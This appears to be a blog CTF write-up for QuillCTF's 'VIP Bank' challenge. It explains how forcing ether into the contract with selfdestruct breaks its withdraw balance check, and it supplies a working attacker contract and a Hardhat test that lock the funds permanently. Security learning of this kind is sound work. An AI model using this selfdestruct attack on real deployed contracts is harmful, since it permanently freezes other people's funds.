QuillCTF: 3. VIP Bank

QuillCTF is a game in which you hack Ethereum smart contracts to learn about security. It's meant to be both fun and educational. The game is designed to educate players on identifying and fixing security issues in Ethereum smart contracts. Start solving here!

Objective of CTF:

At any cost, lock the VIP user balance forever into the contract.

Target contract:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;

contract VIPBank {
  address public manager;
  mapping(address => uint) public balances;
  mapping(address => bool) public VIP;
  uint public maxETH = 0.5 ether;

  constructor() {
    manager = msg.sender;
  }

  modifier onlyManager() {
    require(msg.sender == manager, "you are not manager");
    _;
  }

  modifier onlyVIP() {
    require(VIP[msg.sender] == true, "you are not our VIP customer");
    _;
  }

  function addVIP(address addr) public onlyManager {
    VIP[addr] = true;
  }

  function deposit() public payable onlyVIP {
    require(msg.value <= 0.05 ether, "Cannot deposit more than 0.05 ETH per transaction");
    balances[msg.sender] += msg.value;
  }

  function withdraw(uint _amount) public onlyVIP {
    require(address(this).balance <= maxETH, "Cannot withdraw more than 0.5 ETH per transaction");
    require(balances[msg.sender] >= _amount, "Not enough ether");
    balances[msg.sender] -= _amount;
    (bool success, ) = payable(msg.sender).call{value: _amount}("");
    require(success, "Withdraw Failed!");
  }

  function contractBalance() public view returns (uint) {
    return address(this).balance;
  }
}

The Attack

The key bug within this contract is the requirement of address(this).balance <= maxETH at the first line under withdraw function. This basically means that if at any point the contract has a balance higher than maxETH, no one will be able to withdraw.

This is a problem on it's own, but the authors have decided to limit how much one can deposit within the deposit function. Furthermore, only the VIP are allowed to deposit, so these people are unlikely to attack the contract in such a way.

However, there is another way to send ether to this contract: using selfdestruct(address). Self-destructing a contract deletes the bytecode from the chain, and transfers all the funds within a contract to the given address.

We can bypass the deposit constraints by self-destructing a dummy contract with enough funds (more than maxETH), such that they are transferred to this victim contract. After that, no one will be able to withdraw!

Proof of Concept

The attacker contract is as follows:

contract VIPBankAttacker {
  constructor(address payable targetAddr) payable {
    require(msg.value > 0.5 ether, "need more than 0.5 ether to attack");

    // self destruct to forcefully send ether to target
    selfdestruct(targetAddr);
  }
}

The Hardhat test code to demonstrate this attack is given below. Contract types are generated via TypeChain.

describe('QuillCTF 2: VIP Bank', () => {
  let contract: VIPBank;
  let attackerContract: VIPBankAttacker;
  let owner: SignerWithAddress;
  let attacker: SignerWithAddress;

  before(async () => {
    [owner, attacker] = await ethers.getSigners();
    contract = await ethers.getContractFactory('VIPBank', owner).then(f => f.deploy());
    await contract.deployed();
  });

  it('should add VIP & deposit some funds', async () => {
    await contract.addVIP(owner.address);
    await contract.deposit({value: parseEther('0.025')});
  });

  it('should lock funds', async () => {
    attackerContract = await ethers
      .getContractFactory('VIPBankAttacker', attacker)
      .then(f => f.deploy(contract.address, {value: parseEther('0.51')}));
    await attackerContract.deployed();

    await expect(contract.withdraw(parseEther('0.001'))).to.be.revertedWith(
      'Cannot withdraw more than 0.5 ETH per transaction'
    );
  });
});

Blog

QuillCTF: 3. VIP Bank

Erhan Tezcan

The Attack

Proof of Concept

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